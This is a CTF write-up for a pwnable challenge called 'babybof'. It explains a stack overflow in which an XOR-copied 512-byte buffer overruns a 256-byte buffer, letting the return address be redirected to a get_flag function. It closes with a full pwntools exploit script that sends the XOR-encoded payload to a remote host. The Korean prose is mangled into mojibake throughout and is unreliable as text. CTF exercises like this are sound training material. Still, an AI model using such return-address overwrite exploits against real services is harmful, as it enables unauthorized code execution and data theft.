๋ถ์ผ : Pwnable
๐ง ๋ฌธ์
๋ฌธ์ ๋ช : babybof
bof๊ฐ ๋ฐ์ํจ์ ์ธ์งํ๊ณ , xor ์ฐ์ฐ ๊ฐ์ ๋ง์ถฐ ํ์ด๋ก๋๋ฅผ ๊ตฌ์ฑํ์ฌ ์ต์คํ๋ก์ํ๋ ๋ฌธ์ ์ด๋ค.
์ ๊ตฌ์ฑ์ด ๋ฌธ์ ํ์ผ๋ก ์ ๊ณต๋๋ค. ๋ก์ปฌ์์ ๋์ปค ์ปจํ ์ด๋๋ฅผ ์ฌ๋ ค ์ต์คํ๋ก์์ ์งํํ๊ณ , ๋์ผํ ํ์ด๋ก๋๋ฅผ ์๋ฒ์ ์ ์กํ๋ฉด ์ค์ ๋ฌธ์ ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์๋ค.
๐ง ๋ถ์
babybof ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ถ์ํด๋ณด์.
๋จผ์ , ๋ฉ๋ชจ๋ฆฌ ๋ณดํธ๊ธฐ๋ฒ์ NX bit๊ฐ ๊ฑธ๋ ค์๊ณ , Canary์ PIE๊ฐ ๊ฑธ๋ ค์์ง ์๋ค.
๋ฐ์ด๋๋ฆฌ๋ฅผ ๋์ปดํ์ผํ์ฌ ์ฝ๋๋ฅผ ๋ถ์ํ๋ค.
๋จผ์ , get_flag
ํจ์๊ฐ ์๋ค. ํด๋น ํจ์๋ฅผ ํธ์ถํ๋ฉด /home/RET/flag
๋ฅผ ์ฝ์ด์ ์ถ๋ ฅํด์ฃผ๊ธฐ ๋๋ฌธ์ flag
๋ฅผ ํ๋ํ ์ ์๋ค.
main
ํจ์์์ vuln
ํจ์๋ฅผ ํธ์ถํ๋ค. ์ด๋, main
ํจ์์ ์ง์ญ๋ณ์์ธ v4
์ ์ฃผ์๋ฅผ ์ธ์๋ก ๋๊ธด๋ค.
vuln
ํจ์์ด๋ค. ์ง์ญ๋ณ์ v2
๋ฅผ ์ ์ธํ๊ณ , ๋ฌธ์์ด์ ์
๋ ฅ๋ฐ๋๋ค. ์ด๋, v2
์ ํฌ๊ธฐ๋ **512byte**
์ด๋ค.
์ดํ, xor_data
ํจ์์ main
ํจ์์์ ๋์ด์จ a1
(ํฌ์ธํฐ)์ vuln
ํจ์์ v2
๋ณ์ ์ฃผ์๋ฅผ ๋๊ธด๋ค.
xor_data
ํจ์์์ a2
์ ๊ธธ์ด๋งํผ a2
๋ฅผ a1
์ ๊ฐ์ ๋ณต์ฌํ๋ ๊ณผ์ ์์ bof
๊ฐ ๋ฐ์ํ๋ค.
์ vuln
ํจ์์ v2
๋ **512byte**
์ด๊ณ , main
ํจ์์ v4
๋ **256byte**
์ด๋ค. ๋ฐ๋ผ์, vuln
ํจ์์ v2
๊ธธ์ด๋งํผ ๋ณต์ฌํ๊ฒ ๋๋ฉด, main
ํจ์์ v4
๋ฒํผ์์ ์ค๋ฒํ๋ก์ฐ๊ฐ ๋ฐ์ํ์ฌ RET overwrite
ํ ์ ์๋ค.
๋ฐ๋ผ์, vuln
ํจ์์ v2
์์ A๋ฅผ 264byte(v4+SFP)
๋งํผ ์ฑ์ฐ๊ณ , get_flag
ํจ์์ ์ฃผ์๋ฅผ ๋ฃ์ผ๋ฉด main
ํจ์๊ฐ ๋๋ ๋, get_flag
ํจ์๋ก returnํ์ฌ ํ๋๊ทธ๋ฅผ ์ป์ ์ ์๋ค.
๋ํ, xor_data
ํจ์์์ ๊ฐ์ ๋ณต์ฌํด์ฃผ๋ ๋ถ๋ถ์ ๋ณด๋ฉด **a2[i]^88**
์ ๊ฒฐ๊ณผ ๊ฐ์ด **a1[i]**
์ ๋ค์ด๊ฐ๋ค. ๋ฐ๋ผ์, ์ฐ๋ฆฌ๋ payload^88
๋ฅผ ๋๊ฒจ์ฃผ๋ฉด ๋๋ค.
๐ง ์ต์คํ๋ก์
from pwn import *
#p = process('./babybof')
e = ELF('./babybof')
p = remote('192.168.83.137', 13571)
get_shell = e.symbols['get_flag']
payload = b''
payload += b'A'* (0x100 + 8)
payload += p64(get_shell)
payload_xor = ''
for i in payload:
payload_xor += chr(i^88)
print(hex(get_shell))
print(payload_xor)
p.sendline(payload_xor)
p.interactive()
ํด๋น exploit ์ฝ๋๋ฅผ ์คํํ๋ฉด ํ๋๊ทธ๋ฅผ ์ป์ ์ ์๋ค.